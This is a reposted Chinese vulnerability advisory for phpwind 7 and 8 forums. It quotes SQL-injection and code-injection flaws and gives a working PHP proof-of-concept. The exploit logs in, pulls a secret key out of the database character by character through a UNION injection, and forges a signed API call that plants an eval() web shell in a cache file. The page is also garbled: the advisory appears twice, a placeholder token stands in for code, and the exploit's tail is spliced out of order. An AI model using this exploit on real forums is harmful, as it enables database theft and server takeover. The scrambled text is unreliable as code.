首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
phpwind远程代码执行漏洞
来源:http://www.wooyun.org 作者:结界师 发布时间:2010-09-06  

简要描述:

phpwind较高版本论坛中存在一个严重的漏洞,成功利用该漏洞可以远程执行任意php代码,影响phpwind 7和phpwind 8

详细说明:

pw_ajax.php中的

} elseif ($action == 'pcdelimg') {

	InitGP(array('fieldname','pctype'));

	InitGP(array('tid','id'),2);

	if (!$tid || !$id || !$fieldname || !$pctype) {

		echo 'fail';

	}

	$id = (int)$id;

	if ($pctype == 'topic') {

		$tablename = GetTopcitable($id);

	} elseif ($pctype == 'postcate') {

		$tablename = GetPcatetable($id);

	}



	$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));



fieldname未经任何有效的过滤(全局的一些其他的比较搞笑看起来不错的过滤对这里不起任何安全上的意义,只是对漏洞利用带来了一些难度),利用该注射可以获取任何数据库里的数据。

另外class_other.php中存在一个任意命令执行的漏洞

function threadscateGory($classdb) {//生成帖子交换分类

    

        $classcache = "<?php\r\n\$info_class=array(\r\n";



        foreach ($classdb as $key => $class) {



            !$class['ifshow'] && $class['ifshow'] = '0';

            $flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';



            $class['name'] = str_replace(array('"',"'"),array("&quot;","&#39;"),$class['name']);

            $classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";

        }

        $classcache .= ");\r\n?>";

        writeover(D_P."data/bbscache/info_class.php",$classcache);

    }



$class[cid]未经过滤,进入此逻辑需要一些较为关键的key,借助上面的注射漏洞即可获得该key

漏洞证明:

Poc:

<?php

echo " 

Info: Poc for Phpwind远程命令执行

Test: exploit.php user password http://www.wooyun.org/phpwind/

";



if($argc<3){

	echo "\r\n参数缺少\r\n";

	die();

}

$user=$argv[1];

$pass=$argv[2];

$pwurl=$argv[3];



$myheader=array(

		'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language: zh-cn,zh;q=0.5',

		'Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7',

		'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

		'Referer: http://www.wooyun.org/',

        'Connection: Keep-Alive', 

        'Cache-Control: no-cache',

		'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2)'

    );

$cookie="";



$str=curlsend("$pwurl/login.php?","POST",0,$myheader,"forward=&jumpurl=http%3A%2F%2F127.0.0.1%2FPHPWind/upload%2F&step=2&lgt=0&pwuser=$user&pwpwd=$pass&hideid=0&cktime=31536000&submit=%B5%C7%C2%BC",1);

preg_match_all("/Set-Cookie:([^;]+)/is",$str,$array);

for($i=0;$i<count($array[1]);$i++){

	$cookie=$cookie.";".$array[1][$i];

}



//echo $cookie;



$test = curlsend('$pwurl/pw_ajax.php',"POST",0,$myheader,'',1);



if(strpos($test,'<ajax>')) {

	die('用户密码或者其他参数错误');

}



$shellcode="action=pcdelimg&fieldname=db_value%20from%20pw_config%20where%20db_name%20like%200x64625f736974656f776e65726964%20and%20db_value%20like%200x{offset}25%20union%20select%200x612e2e;%23";



$hash="0123456789abcdef";

$craked="";



for($i=0;$i<32;$i++){

	for($n=0;$n<16;$n++){

		$tmp=str_replace("{offset}",bin2hex($craked.$hash[$n]),$shellcode);

		$tmp=curlsend("$pwurl/pw_ajax.php","POST",0,$myheader,$tmp,0);

		if(strpos($tmp,"pw_config")){

			echo "CrackEd Offset ".($i+1)." :".$hash[$n]."\r\n";

			$craked=$craked.$hash[$n];

			break;

		}

	}

}



echo "Craked Magicdata :".$craked."\r\n";



echo "Get shell :";



//another 0day

$arg='';

$hack = array();

$hack['mode'] = 'Other';

$hack['method'] = 'threadscateGory';

$hack['params'] = 'a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"\'.eval(

简要描述:

phpwind较高版本论坛中存在一个严重的漏洞,成功利用该漏洞可以远程执行任意php代码,影响phpwind 7和phpwind 8

详细说明:

pw_ajax.php中的

} elseif ($action == 'pcdelimg') {

	InitGP(array('fieldname','pctype'));

	InitGP(array('tid','id'),2);

	if (!$tid || !$id || !$fieldname || !$pctype) {

		echo 'fail';

	}

	$id = (int)$id;

	if ($pctype == 'topic') {

		$tablename = GetTopcitable($id);

	} elseif ($pctype == 'postcate') {

		$tablename = GetPcatetable($id);

	}



	$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));



fieldname未经任何有效的过滤(全局的一些其他的比较搞笑看起来不错的过滤对这里不起任何安全上的意义,只是对漏洞利用带来了一些难度),利用该注射可以获取任何数据库里的数据。

另外class_other.php中存在一个任意命令执行的漏洞

function threadscateGory($classdb) {//生成帖子交换分类

    

        $classcache = "<?php\r\n\$info_class=array(\r\n";



        foreach ($classdb as $key => $class) {



            !$class['ifshow'] && $class['ifshow'] = '0';

            $flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';



            $class['name'] = str_replace(array('"',"'"),array("&quot;","&#39;"),$class['name']);

            $classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";

        }

        $classcache .= ");\r\n?>";

        writeover(D_P."data/bbscache/info_class.php",$classcache);

    }



$class[cid]未经过滤,进入此逻辑需要一些较为关键的key,借助上面的注射漏洞即可获得该key

漏洞证明:

Poc:

___FCKpd___2




 

修复方案:

深入进去过滤吧...

GET[c]).\'abc";}}}'; $hack['type'] = 'app'; $hack = strips($hack); ksort($hack); reset($hack); foreach ($hack as $key => $value) { if ($value && $key != 'sig') { $arg .= "$key=$value&"; } } $arg.='sig='.md5($arg.$craked); echo file_get_contents("$pwurl/pw_api.php?".$arg); echo "OK\r\n"; $str=file_get_contents("$pwurl/data/bbscache/info_class.php?c=echo%20Just_wooyun;"); if(strpos($str,'wooyun')){ echo "Got shell :"."$pwurl/data/bbscache/info_class.php?c=phpinfo();"; echo "\r\nOver!"; } function strips($param) { if (is_array($param)) { foreach ($param as $key => $value) { $param[$key] = strips($value); } } else { $param = stripslashes($param); } return $param; } function curlsend($url,$method=false,$ssl=0,$myheader,$data='',$header=0){ global $cookie; $ch = curl_init(); $timeout = 0; // set to zero for no timeout curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_POST, $method); curl_setopt($ch,CURLOPT_HTTPHEADER,$myheader); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt ($ch, CURLOPT_COOKIE, $cookie); if($data){ curl_setopt ($ch, CURLOPT_POSTFIELDS,$data); } curl_setopt ($ch, CURLOPT_HEADER, $header); if($ssl){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); } $handles = curl_exec($ch); curl_close($ch); //echo $handles; return $handles; }




 

修复方案:

深入进去过滤吧...


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Phpwind 注入以及利用之一:远程
·phpcms 2008 sp4 爆路径及任意文
·Phpcms2008本地文件包含漏洞及利
·SiteEngine CMS 5.1.0 文件上传
·Phpcms2008本地文件包含漏洞及利
·站易企网站管理系统CTEIMS 1.1 0
·PHP168 V6.02整站系统远程执行任
·DedeCmsV5.6 本地包含里的上传漏
·NetCms 注册上传漏洞 Oday
·FCKeditor二次上传拿shell
·Piwik和OpenX多版本存在PHP远程
·老Y文章管理系统 v2.5 sp2 SQL注
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved